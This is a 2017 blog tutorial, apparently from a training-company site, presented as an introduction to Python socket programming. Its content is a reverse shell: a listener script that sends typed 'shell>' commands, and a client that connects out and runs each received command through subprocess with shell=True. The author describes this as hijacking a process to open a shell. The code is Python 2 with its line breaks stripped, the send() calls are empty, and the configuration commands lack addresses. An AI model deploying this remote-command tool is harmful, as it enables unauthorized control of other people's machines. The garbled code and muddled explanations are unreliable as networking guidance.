Ready to Start Your Career?

Network Programming with Socket in Python

HEGA GEOFFROY's profile image


November 18, 2017

Socket Programming is a running process between computers. The process is accomplished by the communication. Generally, internet communication is the best way for communication. The implementation of this process is done with the API (Application Programming Interface) to communicate with the protocol stack.A protocol stack is TCP. UDP protocols are the combination of IP addresses, and a port protocol is doing the transfer of information, packet, data in the network. This transfer of information in the network is controlled by the subprocesses. But, what are subprocesses? A subprocess in simple language is the technique used to take control of another process, or hijack another process, or spawn another process, or redirect another process in another process.Now, I want to try to explain in a programming language the API Socket Programming:The server is Computer A:
import socketimport subprocessimport sysif len(sys.argv) <=2:print "Usage python <ipaddress> <port>"exit()nbytes = 4096def tcp_shell_server():host = sys.argv[1]port = int(sys.argv[2])socket_object = socket.socket(socket.AF_INET, socket.SOCK_STREAM)socket_object.bind((host, port))socket_object.listen(1)print '[+] Listening for incomming TCP on port'conn, addr = socket_object.accept()print '[+] We got a connection:', addrwhile True:command = raw_input("shell>")if 'terminate' in command:conn.send('terminate')conn.close()breakelse:conn.send(command)print conn.recv(nbytes)tcp_shell_server()
 You need to configure the IP address of the server:
#ifconfig eth0 netmask up#ifconfig eth0import socket is the library of socket programmingimport subprocess is the library of subprocess programmingimport sys is the library of argument programminghost >> is the server ip addressport >> is the port number of serversocket.socket ( socket.AF_INET , socket.SOCK_STREAM ) is the function key for programming network interfacebind() function to use for accepting the connection of clientlisten() function to use for wait incomming connectionraw_input("shell>") function use to open shell in the server with the subprocess communicationsend() function to send the datarecv() function to recv the data of clientclose() function to end the communication between server and client
 The client is Computer B:
import socketimport subprocessimport osimport sysif len(sys.argv) <=2:print "Usage python <host> <port>"exit()nbytes = 1024def tcp_reverse_client():host = sys.argv[1]port = int(sys.argv[2])socket_object = socket.socket(socket.AF_INET , socket.SOCK_STREAM)socket_object.connect((host , port))while True:command = socket_object.recv(nbytes)if 'terminate' in command:socket_object.close()breakelse:cmd = subprocess.Popen(command , shell=True , stdout=subprocess.PIPE , stderr=subprocess.PIPE , stdin=subprocess.PIPE)socket_object.send( )socket_object.send( )tcp_reverse_client()
 First, you need to configure the interface with the client:
#ifconfig eth0 netmask up#ifconfig eth0host >> IP address of the server which you want to connectport >> port number of the server which you want to connectsocket.socket ( socket.AF_INET , socket.SOCK_STREAM ) is the function key for programming network interfaceconnect() function to connect with the serverrecv() function to receive the dataclose(), break function to use if the connection is closesubprocess.Popen() function to use for open shell in the server, this function use to hijack the process of server and in this way to open shell in the serversend() send the command in the server, for the communication
 First, execute the server command:
python and listenpython
I hope these 2 Python programs help those of you who do not understand networking socket programming with subprocesses.
Schedule Demo